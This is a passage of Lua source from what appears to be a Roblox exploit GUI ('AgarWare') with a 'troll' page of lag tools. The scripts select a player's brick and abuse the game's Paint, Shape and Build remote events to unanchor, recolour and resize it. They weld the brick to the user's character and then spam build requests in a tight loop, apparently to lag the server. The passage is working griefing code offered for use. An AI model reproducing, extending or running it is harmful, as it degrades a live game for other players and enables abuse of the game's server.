		-- Check if it's in Workspace.Bricks.[Username]
		local parent = block.Parent
		if not parent or parent.Parent ~= workspace:FindFirstChild("Bricks") then
			return false
		end
	
		-- Set the selected block
		SelectedBlockValue.Value = block
		highlightBlock(block)
	
		-- Stop selecting mode
		isSelectingBlock = false
		SpamSelectButton.Text = TEXT_SELECTED
	
		print("[SelectBlock] Block selected:", block:GetFullName())
		return true
	end
	
	-- ============================================================
	-- UNSELECT BLOCK
	-- ============================================================
	local function unselectBlock()
		SelectedBlockValue.Value = nil
		removeHighlight()
		isSelectingBlock = false
		SpamSelectButton.Text = TEXT_DEFAULT
	
		print("[SelectBlock] Block unselected")
	end
	
	-- ============================================================
	-- START SELECTING MODE
	-- ============================================================
	local function startSelecting()
		isSelectingBlock = true
		SpamSelectButton.Text = TEXT_SELECTING
	
		-- Disconnect any existing mouse connection
		if mouseConn then
			mouseConn:Disconnect()
			mouseConn = nil
		end
	
		-- Set up mouse click detection
		local mouse = LocalPlayer:GetMouse()
		mouseConn = mouse.Button1Down:Connect(function()
			if not isSelectingBlock then return end
	
			local target = mouse.Target
			if target then
				-- If clicking the currently selected block, unselect it
				if SelectedBlockValue.Value == target then
					unselectBlock()
				else
					-- Try to select the new block
					if selectBlock(target) then
						-- Disconnect after successful selection
						if mouseConn then
							mouseConn:Disconnect()
							mouseConn = nil
						end
					end
				end
			end
		end)
	
		print("[SelectBlock] Selecting mode started - click a brick to select")
	end
	
	-- ============================================================
	-- STOP SELECTING MODE (CANCEL)
	-- ============================================================
	local function stopSelecting()
		isSelectingBlock = false
	
		if mouseConn then
			mouseConn:Disconnect()
			mouseConn = nil
		end
	
		-- Update text based on whether a block is selected
		if SelectedBlockValue.Value then
			SpamSelectButton.Text = TEXT_SELECTED
		else
			SpamSelectButton.Text = TEXT_DEFAULT
		end
	
		print("[SelectBlock] Selecting mode cancelled")
	end
	
	-- ============================================================
	-- BUTTON CLICK HANDLER
	-- ============================================================
	SpamSelectButton.MouseButton1Click:Connect(function()
		-- State machine based on current state
		if isSelectingBlock then
			-- Currently selecting -> Cancel selection mode
			stopSelecting()
		elseif SelectedBlockValue.Value then
			-- Block is selected -> Start selecting again (allows re-selection)
			startSelecting()
		else
			-- No block selected, not selecting -> Start selecting
			startSelecting()
		end
	end)
	
	-- ============================================================
	-- WATCH FOR SELECTED BLOCK DELETION
	-- ============================================================
	SelectedBlockValue:GetPropertyChangedSignal("Value"):Connect(function()
		local selectedBlock = SelectedBlockValue.Value
	
		if selectedBlock then
			-- Watch for block deletion
			local ancestryConn
			ancestryConn = selectedBlock.AncestryChanged:Connect(function()
				if not selectedBlock:IsDescendantOf(workspace) then
					-- Block was deleted
					unselectBlock()
					if ancestryConn then
						ancestryConn:Disconnect()
					end
				end
			end)
		end
	end)
	
	-- ============================================================
	-- CLEANUP
	-- ============================================================
	script.AncestryChanged:Connect(function()
		if not script:IsDescendantOf(game) then
			if mouseConn then
				mouseConn:Disconnect()
			end
			removeHighlight()
			print("[SelectBlock] Cleaned up")
		end
	end)
end;
task.spawn(C_1b0);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.LagGroup.BlockSpamRow.BlockSpamScript
local function C_1b4()
local script = G2L["1b4"];
	local Players = game:GetService("Players")
	local LocalPlayer = Players.LocalPlayer
	local RunService = game:GetService("RunService")
	
	local BlockSpamRow = script.Parent
	local LagGroup = BlockSpamRow.Parent
	local LagAccentColor = LagGroup:WaitForChild("LagAccentColor")
	local BlockSpamButton = BlockSpamRow:WaitForChild("BlockSpamButton")
	
	local SelectedBlockValue = LagGroup:WaitForChild("SelectedBlock")
	
	-- State
	local isProcessing = false
	local isSpamming = false
	local spamLoop = nil
	local currentWeld = nil
	local weldedBlock = nil
	local positionBeforeStop = nil
	local blockOriginalPosition = nil
	
	-- Text states
	local TEXT_START = "Start Spam"
	local TEXT_STOP = "Stop Spam"
	local TEXT_NO_BLOCK = "No Block Selected"
	local TEXT_PROCESSING = "Processing..."
	
	-- Target properties
	local TARGET_BRICKCOLOR = BrickColor.new("Really black")
	local TARGET_MATERIAL = Enum.Material.Neon
	
	-- ============================================================
	-- TOOL HELPERS
	-- ============================================================
	local function getShapeTool()
		return LocalPlayer.Backpack:FindFirstChild("Shape")
			or (LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("Shape"))
	end
	
	local function getShapeEvent()
		local tool = getShapeTool()
		if tool then
			return tool:FindFirstChild("Script") and tool.Script:FindFirstChild("Event")
		end
		return nil
	end
	
	local function getBuildTool()
		return LocalPlayer.Backpack:FindFirstChild("Build")
			or (LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("Build"))
	end
	
	local function getBuildEvent()
		local tool = getBuildTool()
		if tool then
			return tool:FindFirstChild("Script") and tool.Script:FindFirstChild("Event")
		end
		return nil
	end
	
	local function getBuildUI()
		return LocalPlayer.PlayerGui:FindFirstChild("Build")
	end
	
	local function getPaintTool()
		return LocalPlayer.Backpack:FindFirstChild("Paint")
			or (LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("Paint"))
	end
	
	local function getPaintEvent()
		local tool = getPaintTool()
		if tool then
			return tool:FindFirstChild("Script") and tool.Script:FindFirstChild("Event")
		end
		return nil
	end
	
	local function getPaintUI()
		return LocalPlayer.PlayerGui:FindFirstChild("Paint")
	end
	
	local function refreshBuildTool()
		local tool = getBuildTool()
		if not tool then return false end
	
		local buildUI = getBuildUI()
		if not buildUI then return false end
	
		local currentlyEquipped = LocalPlayer.Character and LocalPlayer.Character:FindFirstChildOfClass("Tool")
	
		if LocalPlayer.Character and LocalPlayer.Character:FindFirstChildOfClass("Humanoid") then
			LocalPlayer.Character.Humanoid:UnequipTools()
			task.wait(0.03)
		end
	
		if LocalPlayer.Character and LocalPlayer.Character:FindFirstChildOfClass("Humanoid") then
			LocalPlayer.Character.Humanoid:EquipTool(tool)
			RunService.RenderStepped:Wait()
			buildUI.Enabled = true
	
			LocalPlayer.Character.Humanoid:UnequipTools()
	
			task.wait(0.05)
			buildUI.Enabled = true
	
			if currentlyEquipped and currentlyEquipped.Parent == LocalPlayer.Backpack then
				LocalPlayer.Character.Humanoid:EquipTool(currentlyEquipped)
			end
	
			return true
		end
	
		return false
	end
	
	-- ============================================================
	-- VALIDATE
	-- ============================================================
	local function isValidBlockSize(block)
		local size = block.Size
		if size.X % 1 ~= 0 or size.Y % 1 ~= 0 or size.Z % 1 ~= 0 then
			return false
		end
		return true
	end
	
	-- ============================================================
	-- STEP 1: REMOVE ALL SPRAYS
	-- ============================================================
	local function removeAllSprays(block)
		local paintEvent = getPaintEvent()
		if not paintEvent then return false end
	
		local sides = {
			{Enum.NormalId.Front, block.Position + (block.CFrame.LookVector * block.Size.Z/2)},
			{Enum.NormalId.Right, block.Position + (block.CFrame.RightVector * block.Size.X/2)},
			{Enum.NormalId.Back, block.Position - (block.CFrame.LookVector * block.Size.Z/2)},
			{Enum.NormalId.Left, block.Position - (block.CFrame.RightVector * block.Size.X/2)},
			{Enum.NormalId.Top, block.Position + (block.CFrame.UpVector * block.Size.Y/2)},
			{Enum.NormalId.Bottom, block.Position - (block.CFrame.UpVector * block.Size.Y/2)}
		}
	
		-- Fire 5 times on each side then move on
		for i = 1, 5 do
			if not isSpamming then return false end
	
			for _, sideData in ipairs(sides) do
				if not isSpamming then return false end
				pcall(function()
					paintEvent:FireServer(block, sideData[1], sideData[2], "both 🤝", Color3.fromRGB(2, 2, 1), "spray", "")
				end)
				task.wait(0.02)
			end
		end
	
		return true
	end
	
	-- ============================================================
	-- STEP 2: PAINT + TOXIFY (IF NEEDED)
	-- ============================================================
	local function paintAndToxify(block)
		-- Check current color
		local currentColor = block.Color
	
		-- Check if color and material already correct
		local colorCorrect = (currentColor.R * 255 >= 1 and currentColor.R * 255 <= 3) and 
			(currentColor.G * 255 >= 1 and currentColor.G * 255 <= 3) and 
			(currentColor.B * 255 >= 0 and currentColor.B * 255 <= 2)
		local materialCorrect = block.Material == TARGET_MATERIAL
	
		if colorCorrect and materialCorrect then
			return true
		end
	
		local hasSpray = false
		for _, child in ipairs(block:GetChildren()) do
			if child.Name == "Spray" then
				hasSpray = true
				break
			end
		end
	
		if hasSpray then
			return false
		end
	
		local paintEvent = getPaintEvent()
		if not paintEvent then return false end
	
		local targetColor = Color3.fromRGB(2, 2, 1)
	
		-- Fire 5 times then move on
		for i = 1, 5 do
			if not isSpamming then return false end
			pcall(function()
				paintEvent:FireServer(block, Enum.NormalId.Top, block.Position, "both 🤝", targetColor, "toxic", "")
			end)
			task.wait(0.05)
		end
	
		return true
	end
	
	-- ============================================================
	-- STEP 3: UNANCHOR
	-- ============================================================
	local function unanchorBlock(block)
		if block:FindFirstChild("Drag") then
			return true
		end
	
		local paintEvent = getPaintEvent()
		if not paintEvent then return false end
	
		local bottomPos = block.Position - (block.CFrame.UpVector * block.Size.Y/2)
	
		local startTime = tick()
		while tick() - startTime < 2 do
			if not isSpamming then return false end
	
			pcall(function()
				paintEvent:FireServer(block, Enum.NormalId.Bottom, bottomPos, "material", Color3.fromRGB(2, 2, 1), "anchor", "")
			end)
	
			task.wait(0.2)
	
			task.wait(0.05)
			if block:FindFirstChild("Drag") then
				return true
			end
		end
	
		return false
	end
	
	-- ============================================================
	-- STEP 4: RESIZE
	-- ============================================================
	local function resizeBlock(block, targetSize)
		if block.Size.X == targetSize and block.Size.Y == targetSize and block.Size.Z == targetSize then
			return true
		end
	
		local maxAttempts = 3
	
		for attempt = 1, maxAttempts do
			if not isSpamming then return false end
	
			local shapeTool = getShapeTool()
			local shapeEvent = getShapeEvent()
	
			if not shapeTool or not shapeEvent then
				if shapeTool and shapeTool.Parent == LocalPlayer.Backpack then
					LocalPlayer.Character.Humanoid:EquipTool(shapeTool)
					task.wait(0.2)
				else
					return false
				end
	
				shapeEvent = getShapeEvent()
				if not shapeEvent then
					return false
				end
			end
	
			local maxIterations = 40
			local iterations = 0
	
			while iterations < maxIterations do
				if not isSpamming then return false end
	
				local currentSize = block.Size
	
				if currentSize.X == targetSize and currentSize.Y == targetSize and currentSize.Z == targetSize then
					return true
				end
	
				iterations = iterations + 1
	
				local pos = block.Position
				local size = block.Size
	
				if currentSize.X ~= targetSize then
					pcall(function()
						local rightPos = Vector3.new(pos.X + size.X/2, pos.Y, pos.Z)
						shapeEvent:FireServer(block, Enum.NormalId.Right, rightPos, currentSize.X < targetSize and "increase" or "decrease")
					end)
					task.wait(0.08)
				end
	
				if currentSize.Y ~= targetSize then
					pcall(function()
						local topPos = Vector3.new(pos.X, pos.Y + size.Y/2, pos.Z)
						shapeEvent:FireServer(block, Enum.NormalId.Top, topPos, currentSize.Y < targetSize and "increase" or "decrease")
					end)
					task.wait(0.08)
				end
	
				if currentSize.Z ~= targetSize then
					pcall(function()
						local backPos = Vector3.new(pos.X, pos.Y, pos.Z - size.Z/2)
						shapeEvent:FireServer(block, Enum.NormalId.Back, backPos, currentSize.Z < targetSize and "increase" or "decrease")
					end)
					task.wait(0.08)
				end
	
				task.wait(0.2)
			end
	
			if attempt < maxAttempts then
				task.wait(0.3)
			end
		end
	
		task.wait(0.4)
	
		local finalSize = block.Size
		return finalSize.X == targetSize and finalSize.Y == targetSize and finalSize.Z == targetSize
	end
	
	-- ============================================================
	-- STEP 5: SPRAY ALL SIDES
	-- ============================================================
	local function sprayAllSides(block)
		-- Paint tool should already be equipped before calling this
		local paintEvent = getPaintEvent()
		if not paintEvent then return false end
	
		local sprayText = string.rep("#", 132)
		local sides = {
			{Enum.NormalId.Front, block.Position + (block.CFrame.LookVector * block.Size.Z/2)},
			{Enum.NormalId.Right, block.Position + (block.CFrame.RightVector * block.Size.X/2)},
			{Enum.NormalId.Back, block.Position - (block.CFrame.LookVector * block.Size.Z/2)},
			{Enum.NormalId.Left, block.Position - (block.CFrame.RightVector * block.Size.X/2)},
			{Enum.NormalId.Top, block.Position + (block.CFrame.UpVector * block.Size.Y/2)},
			{Enum.NormalId.Bottom, block.Position - (block.CFrame.UpVector * block.Size.Y/2)}
		}
	
		local maxTime = tick() + 5
		while tick() < maxTime do
			if not isSpamming then return false end
	
			local sprayCount = 0
			for _, child in ipairs(block:GetChildren()) do
				if child.Name == "Spray" then
					sprayCount = sprayCount + 1
				end
			end
	
			if sprayCount >= 6 then
				return true
			end
	
			for _, sideData in ipairs(sides) do
				if not isSpamming then return false end
				pcall(function()
					paintEvent:FireServer(block, sideData[1], sideData[2], "both 🤝", Color3.fromRGB(2, 2, 1), "spray", sprayText)
				end)
				task.wait(0.05)
			end
		end
	
		return true
	end
	
	-- ============================================================
	-- CLEANUP & SPAM CONTROL
	-- ============================================================
	local function cleanupWeld()
		if LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("HumanoidRootPart") then
			local hrp = LocalPlayer.Character.HumanoidRootPart
	
			if currentWeld and currentWeld.Parent then
				currentWeld:Destroy()
			end
	
			local foundWeld = hrp:FindFirstChild("BlockSpamWeld")
			if foundWeld then
				foundWeld:Destroy()
			end
	
			for _, child in ipairs(hrp:GetChildren()) do
				if child:IsA("WeldConstraint") then
					if weldedBlock and (child.Part0 == weldedBlock or child.Part1 == weldedBlock) then
						child:Destroy()
					end
				end
			end
		end
	
		currentWeld = nil
	
		task.wait(0.15)
	
		if weldedBlock and weldedBlock:IsDescendantOf(workspace) then
			weldedBlock.CanCollide = true
	
			if blockOriginalPosition then
				weldedBlock.CFrame = blockOriginalPosition
				weldedBlock.AssemblyLinearVelocity = Vector3.new(0, 0, 0)
				weldedBlock.AssemblyAngularVelocity = Vector3.new(0, 0, 0)
			end
		end
	
		weldedBlock = nil
		blockOriginalPosition = nil
	end
	
	local function stopSpam()
		isSpamming = false
		isProcessing = false
		BlockSpamButton.Text = TEXT_START
	
		spamLoop = nil
	
		if _G.BlockAmountTracker and _G.BlockAmountTracker.StopWatching then
			_G.BlockAmountTracker.StopWatching()
		end
	
		cleanupWeld()
	
		if _G.SpamSelectHighlight and SelectedBlockValue.Value and SelectedBlockValue.Value:IsDescendantOf(workspace) then
			_G.SpamSelectHighlight.Adornee = SelectedBlockValue.Value
			_G.SpamSelectHighlight.Parent = SelectedBlockValue.Value
		end
	
		local buildUI = getBuildUI()
		if buildUI then
			buildUI.Enabled = true
		end
	
		positionBeforeStop = nil
	
		if _G.LagMachineWebhook and _G.LagMachineWebhook.OnLagEnded then
			_G.LagMachineWebhook.OnLagEnded()
		end
	end
	
	-- ============================================================
	-- START SPAM BUILDING
	-- ============================================================
	local function startSpamBuilding(block)
		if not getBuildTool() then
			BlockSpamButton.Text = "Build tool not found"
			task.wait(1)
			BlockSpamButton.Text = TEXT_START
			return false
		end
	
		if not getBuildUI() then
			BlockSpamButton.Text = "Build UI not found"
			task.wait(1)
			BlockSpamButton.Text = TEXT_START
			return false
		end
	
		if not refreshBuildTool() then
			BlockSpamButton.Text = "Failed to activate"
			task.wait(1)
			BlockSpamButton.Text = TEXT_START
			return false
		end
	
		isSpamming = true
		BlockSpamButton.Text = TEXT_STOP
	
		if _G.LagMachineWebhook and _G.LagMachineWebhook.OnLagStarted then
			_G.LagMachineWebhook.OnLagStarted()
		end
	
		if _G.SpamSelectHighlight and _G.SpamSelectHighlight.Parent then
			_G.SpamSelectHighlight.Parent = nil
		end
	
		local buildUI = getBuildUI()
		if buildUI then
			buildUI.Enabled = false
		end
	
		if _G.BlockAmountTracker and _G.BlockAmountTracker.StartWatching then
			_G.BlockAmountTracker.StartWatching()
		end
	
		spamLoop = task.spawn(function()
			local refreshCounter = 0
	
			while isSpamming do
				if not getBuildTool() then
					stopSpam()
					break
				end
	
				if not block or not block:IsDescendantOf(workspace) or not block:FindFirstChild("Drag") then
					stopSpam()
					break
				end
	
				local currentEvent = getBuildEvent()
				local currentUI = getBuildUI()
	
				if currentEvent and currentUI then
					pcall(function()
						-- Use blackhole position if enabled, otherwise block position
						local spawnPosition = _G.BlackholeTargetPosition or block.Position
						currentEvent:FireServer(block, Enum.NormalId.Top, spawnPosition, currentUI.Button.Text)
					end)
				else
					refreshBuildTool()
				end
	
				refreshCounter = refreshCounter + 1
				if refreshCounter >= 50 then
					refreshBuildTool()
					refreshCounter = 0
				end
	
				task.wait(0.05)
			end
		end)
	
		return true
	end
	
	-- ============================================================
	-- PROCESS BLOCK
	-- ============================================================
	local function processBlock(block)
		if not block or not block:IsDescendantOf(workspace) then
			return false
		end
	
		if not isValidBlockSize(block) then
			BlockSpamButton.Text = "Invalid Block!"
			task.wait(2)
			BlockSpamButton.Text = TEXT_START
			return false
		end
	
		local targetSize = LagGroup:FindFirstChild("TargetBlockSize")
		targetSize = targetSize and targetSize.Value or 1
	
		if not getPaintTool() or not getShapeTool() or not getPaintUI() then
			BlockSpamButton.Text = "Tools not found"
			task.wait(1)
			BlockSpamButton.Text = TEXT_START
			return false
		end
	
		-- Pause blackhole during processing
		if _G.LagMachineWebhook and _G.LagMachineWebhook.OnProcessingStarted then
			_G.LagMachineWebhook.OnProcessingStarted()
		end
	
		-- Set to "Stop Spam" immediately
		isProcessing = true
		isSpamming = true
		BlockSpamButton.Text = TEXT_STOP
	
		local previousTool = LocalPlayer.Character:FindFirstChildOfClass("Tool")
	
		if not positionBeforeStop then
			positionBeforeStop = LocalPlayer.Character.HumanoidRootPart.CFrame
		end
		local originalPosition = positionBeforeStop
	
		blockOriginalPosition = block.CFrame
	
		local underBlockPos = block.Position - Vector3.new(0, 20, 0)
		LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(underBlockPos)
		LocalPlayer.Character.HumanoidRootPart.AssemblyLinearVelocity = Vector3.new(0, 0, 0)
	
		local positionLock = RunService.RenderStepped:Connect(function()
			if block and block:IsDescendantOf(workspace) and LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("HumanoidRootPart") then
				local targetPos = block.Position - Vector3.new(0, 20, 0)
				LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(targetPos)
				LocalPlayer.Character.HumanoidRootPart.AssemblyLinearVelocity = Vector3.new(0, 0, 0)
			end
		end)
	
		-- Equip PAINT tool only at start
		local paintTool = getPaintTool()
		if paintTool and paintTool.Parent == LocalPlayer.Backpack then
			LocalPlayer.Character.Humanoid:EquipTool(paintTool)
			task.wait(0.3)
		end
	
		-- Check if block is ALREADY READY TO SPAM
		-- 1. Has 6 Sprays with # in Label.Text
		-- 2. Color is RGB(2,2,1) and Material is Neon
		-- 3. Size is correct
		local targetSize = LagGroup:FindFirstChild("TargetBlockSize")
		targetSize = targetSize and targetSize.Value or 1
	
		local correctSprays = 0
		for _, child in ipairs(block:GetChildren()) do
			if child.Name == "Spray" then
				local label = child:FindFirstChild("Label")
				if label and label.Text and string.find(label.Text, "#") then
					correctSprays = correctSprays + 1
				end
			end
		end
	
		local currentColor = block.Color
		local colorCorrect = (currentColor.R * 255 >= 1 and currentColor.R * 255 <= 3) and 
			(currentColor.G * 255 >= 1 and currentColor.G * 255 <= 3) and 
			(currentColor.B * 255 >= 0 and currentColor.B * 255 <= 2)
		local materialCorrect = block.Material == TARGET_MATERIAL
		local sizeCorrect = block.Size.X == targetSize and block.Size.Y == targetSize and block.Size.Z == targetSize
	
		-- If EVERYTHING is already correct, skip directly to welding/spamming
		if correctSprays == 6 and colorCorrect and materialCorrect and sizeCorrect then
			LocalPlayer.Character.Humanoid:UnequipTools()
			task.wait(0.1)
	
			if previousTool and previousTool.Parent == LocalPlayer.Backpack then
				LocalPlayer.Character.Humanoid:EquipTool(previousTool)
			end
	
			positionLock:Disconnect()
			task.wait(0.1)
	
			if not isSpamming then
				LocalPlayer.Character.HumanoidRootPart.CFrame = originalPosition
				return false
			end
	
			BlockSpamButton.Text = TEXT_STOP
	
			block.CanCollide = false
	
			local finalUnderPos = block.Position - Vector3.new(0, 8, 0)
			LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(finalUnderPos)
			LocalPlayer.Character.HumanoidRootPart.AssemblyLinearVelocity = Vector3.new(0, 0, 0)
	
			task.wait(0.1)
	
			local weld = Instance.new("WeldConstraint")
			weld.Name = "BlockSpamWeld"
			weld.Part0 = LocalPlayer.Character.HumanoidRootPart
			weld.Part1 = block
			weld.Parent = LocalPlayer.Character.HumanoidRootPart
	
			task.wait(0.2)
			LocalPlayer.Character.HumanoidRootPart.CFrame = originalPosition
	
			-- Resume blackhole after processing (skip path)
			if _G.LagMachineWebhook and _G.LagMachineWebhook.OnProcessingFinished then
				_G.LagMachineWebhook.OnProcessingFinished()
			end
	
			currentWeld = weld
			weldedBlock = block
	
			BlockSpamButton.Text = TEXT_STOP
	
			if not startSpamBuilding(block) then
				cleanupWeld()
				LocalPlayer.Character.HumanoidRootPart.CFrame = originalPosition
				return false
			end
	
			return true
		end
	
		-- Otherwise, do the processing steps
		local skipSpraySteps = (correctSprays == 6)
	
		-- STEP 1 - Only if doesn't have 6 sprays with #
		if not skipSpraySteps then
			if not isSpamming then
				positionLock:Disconnect()
				LocalPlayer.Character.Humanoid:UnequipTools()
				LocalPlayer.Character.HumanoidRootPart.CFrame = originalPosition
				return false
			end
	
			-- Only remove sprays if there ARE sprays
			local hasAnySpray = false
			for _, child in ipairs(block:GetChildren()) do
				if child.Name == "Spray" then
					hasAnySpray = true
					break
				end
			end
	
			if hasAnySpray and not removeAllSprays(block) then
				positionLock:Disconnect()
				LocalPlayer.Character.Humanoid:UnequipTools()
				LocalPlayer.Character.HumanoidRootPart.CFrame = originalPosition
				BlockSpamButton.Text = "Failed spray removal"
				task.wait(2)
				BlockSpamButton.Text = TEXT_START
				return false
			end
		end
	
		-- STEP 2
		if not isSpamming then
			positionLock:Disconnect()
			LocalPlayer.Character.Humanoid:UnequipTools()
			LocalPlayer.Character.HumanoidRootPart.CFrame = originalPosition
			return false
		end
	
		if not removeAllSprays(block) then
			positionLock:Disconnect()
			LocalPlayer.Character.Humanoid:UnequipTools()
			LocalPlayer.Character.HumanoidRootPart.CFrame = originalPosition
			BlockSpamButton.Text = "Failed spray removal"
			task.wait(2)
			BlockSpamButton.Text = TEXT_START
			return false
		end
	
		-- STEP 2
		if not isSpamming then
			positionLock:Disconnect()
			LocalPlayer.Character.Humanoid:UnequipTools()
			LocalPlayer.Character.HumanoidRootPart.CFrame = originalPosition
			return false
		end
	
		if not paintAndToxify(block) then
			positionLock:Disconnect()
			LocalPlayer.Character.Humanoid:UnequipTools()
			LocalPlayer.Character.HumanoidRootPart.CFrame = originalPosition
			BlockSpamButton.Text = "Failed paint"
			task.wait(2)
			BlockSpamButton.Text = TEXT_START
			return false
		end
	
		-- STEP 3
		if not isSpamming then
			positionLock:Disconnect()
			LocalPlayer.Character.Humanoid:UnequipTools()
			LocalPlayer.Character.HumanoidRootPart.CFrame = originalPosition
			return false
		end
	
		if not unanchorBlock(block) then
			positionLock:Disconnect()
			LocalPlayer.Character.Humanoid:UnequipTools()
			LocalPlayer.Character.HumanoidRootPart.CFrame = originalPosition
			BlockSpamButton.Text = "Failed unanchor"
			task.wait(2)
			BlockSpamButton.Text = TEXT_START
			return false
		end
	
		-- Equip SHAPE tool for resizing
		if not isSpamming then
			positionLock:Disconnect()
			LocalPlayer.Character.Humanoid:UnequipTools()
			LocalPlayer.Character.HumanoidRootPart.CFrame = originalPosition
			return false
		end
	
		local shapeTool = getShapeTool()
		if shapeTool and shapeTool.Parent == LocalPlayer.Backpack then
			LocalPlayer.Character.Humanoid:EquipTool(shapeTool)
			task.wait(0.2)
		end
	
		-- STEP 4
		if not isSpamming then
			positionLock:Disconnect()
			LocalPlayer.Character.Humanoid:UnequipTools()
			LocalPlayer.Character.HumanoidRootPart.CFrame = originalPosition
			return false
		end
	
		local resizeSuccess = resizeBlock(block, targetSize)
	
		-- Re-equip PAINT tool for spraying
		if not isSpamming then
			positionLock:Disconnect()
			LocalPlayer.Character.Humanoid:UnequipTools()
			LocalPlayer.Character.HumanoidRootPart.CFrame = originalPosition
			return false
		end
	
		local paintTool = getPaintTool()
		if paintTool and paintTool.Parent == LocalPlayer.Backpack then
			LocalPlayer.Character.Humanoid:EquipTool(paintTool)
			task.wait(0.2)
		end
	
		-- STEP 5 - Only if sprays weren't already correct
		if not skipSpraySteps then
			if not isSpamming then
				positionLock:Disconnect()
				LocalPlayer.Character.Humanoid:UnequipTools()
				LocalPlayer.Character.HumanoidRootPart.CFrame = originalPosition
				return false
			end
	
			task.wait(0.1)
			sprayAllSides(block)
		end
	
		if not resizeSuccess then
			positionLock:Disconnect()
			LocalPlayer.Character.Humanoid:UnequipTools()
			LocalPlayer.Character.HumanoidRootPart.CFrame = originalPosition
			BlockSpamButton.Text = "Resize failed!"
			task.wait(2)
			BlockSpamButton.Text = TEXT_START
			return false
		end
	
		if not isSpamming then
			positionLock:Disconnect()
			LocalPlayer.Character.Humanoid:UnequipTools()
			LocalPlayer.Character.HumanoidRootPart.CFrame = originalPosition
			return false
		end
	
		-- Unequip all tools and restore original tool before welding
		LocalPlayer.Character.Humanoid:UnequipTools()
		task.wait(0.1)
	
		-- Restore previous tool if there was one
		if previousTool and previousTool.Parent == LocalPlayer.Backpack then
			LocalPlayer.Character.Humanoid:EquipTool(previousTool)
		end
	
		positionLock:Disconnect()
		task.wait(0.1)
	
		if not isSpamming then
			LocalPlayer.Character.HumanoidRootPart.CFrame = originalPosition
			return false
		end
	
		BlockSpamButton.Text = TEXT_STOP
	
		block.CanCollide = false
	
		local finalUnderPos = block.Position - Vector3.new(0, 8, 0)
		LocalPlayer.Character.HumanoidRootPart.CFrame = CFrame.new(finalUnderPos)
		LocalPlayer.Character.HumanoidRootPart.AssemblyLinearVelocity = Vector3.new(0, 0, 0)
	
		task.wait(0.1)
	
		local weld = Instance.new("WeldConstraint")
		weld.Name = "BlockSpamWeld"
		weld.Part0 = LocalPlayer.Character.HumanoidRootPart
		weld.Part1 = block
		weld.Parent = LocalPlayer.Character.HumanoidRootPart
	
		task.wait(0.2)
		LocalPlayer.Character.HumanoidRootPart.CFrame = originalPosition
	
		-- Resume blackhole after processing
		if _G.LagMachineWebhook and _G.LagMachineWebhook.OnProcessingFinished then
			_G.LagMachineWebhook.OnProcessingFinished()
		end
	
		currentWeld = weld
		weldedBlock = block
	
		BlockSpamButton.Text = TEXT_STOP
	
		if not startSpamBuilding(block) then
			cleanupWeld()
			LocalPlayer.Character.HumanoidRootPart.CFrame = originalPosition
			return false
		end
	
		return true
	end
	
	-- ============================================================
	-- START SPAM
	-- ============================================================
	local function startSpam()
		local selectedBlock = SelectedBlockValue.Value
	
		if not selectedBlock or not selectedBlock:IsDescendantOf(workspace) then
			BlockSpamButton.Text = TEXT_NO_BLOCK
			task.wait(1)
			BlockSpamButton.Text = TEXT_START
			return
		end
	
		isProcessing = true
		BlockSpamButton.Text = TEXT_PROCESSING
	
		if not processBlock(selectedBlock) then
			BlockSpamButton.Text = "Failed, Press Again."
			task.wait(1)
			isProcessing = false
			BlockSpamButton.Text = TEXT_START
		end
	end
	
	-- ============================================================
	-- UI
	-- ============================================================
	BlockSpamButton.MouseEnter:Connect(function()
		if not isProcessing and not isSpamming then
			if not SelectedBlockValue.Value or not SelectedBlockValue.Value:IsDescendantOf(workspace) then
				BlockSpamButton.Text = TEXT_NO_BLOCK
			end
		end
	end)
	
	BlockSpamButton.MouseLeave:Connect(function()
		if not isProcessing and not isSpamming and BlockSpamButton.Text == TEXT_NO_BLOCK then
			BlockSpamButton.Text = TEXT_START
		end
	end)
	
	BlockSpamButton.MouseButton1Click:Connect(function()
		if isSpamming then
			stopSpam()
		else
			startSpam()
		end
	end)
	
	script.AncestryChanged:Connect(function()
		if not script:IsDescendantOf(game) and isSpamming then
			stopSpam()
		end
	end)
end;
task.spawn(C_1b4);
-- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.LagGroup.BlockSizeRow.BlockSizeChanger.BlockSizeScript
local function C_1b9()
local script = G2L["1b9"];
	local Players = game:GetService("Players")
	local LocalPlayer = Players.LocalPlayer
	
	local BlockSizeChanger = script.Parent
	local BlockSizeRow = BlockSizeChanger.Parent
	local LagGroup = BlockSizeRow.Parent
	
	-- Store target size in LagGroup so StartSpam can access it
	local TargetSizeValue = LagGroup:FindFirstChild("TargetBlockSize") or Instance.new("IntValue")
	TargetSizeValue.Name = "TargetBlockSize"
	TargetSizeValue.Parent = LagGroup
	TargetSizeValue.Value = 1 -- Default
	
	-- ============================================================
	-- VALIDATE INPUT
	-- ============================================================
	local function validateInput(input)
		-- Remove any non-digit characters
		local cleaned = input:gsub("%D", "")
	
		-- If empty, default to 1
		if cleaned == "" then
			cleaned = "1"
		end
	
		-- Convert to number
		local num = tonumber(cleaned)
	
		-- Ensure it's between 1 and 6
		if num then
			if num < 1 then
				num = 1
			elseif num > 6 then
				num = 6
			end
		else
			num = 1
		end
	
		return num
	end
	
	-- ============================================================
	-- UPDATE TARGET SIZE
	-- ============================================================
	local function updateTargetSize()
		local input = BlockSizeChanger.Text
		local validSize = validateInput(input)
	
		-- Update the value
		TargetSizeValue.Value = validSize
	
		-- Update textbox to show valid value
		BlockSizeChanger.Text = tostring(validSize)
	
		print("[BlockSize] Target size set to:", validSize)
	end
	
	-- ============================================================
	-- INPUT EVENTS
	-- ============================================================
	-- When user finishes typing (presses Enter or unfocuses)
	BlockSizeChanger.FocusLost:Connect(function(enterPressed)
		updateTargetSize()
	end)
	
	-- Prevent decimals while typing
	BlockSizeChanger:GetPropertyChangedSignal("Text"):Connect(function()
		local text = BlockSizeChanger.Text
	
		-- Remove decimals and non-digits immediately
		local cleaned = text:gsub("[^%d]", "")
	
		if cleaned ~= text then
			BlockSizeChanger.Text = cleaned
		end
	end)
	
	-- ============================================================
	-- INITIALIZE
	-- ============================================================
	-- Set initial value
	updateTargetSize()
	
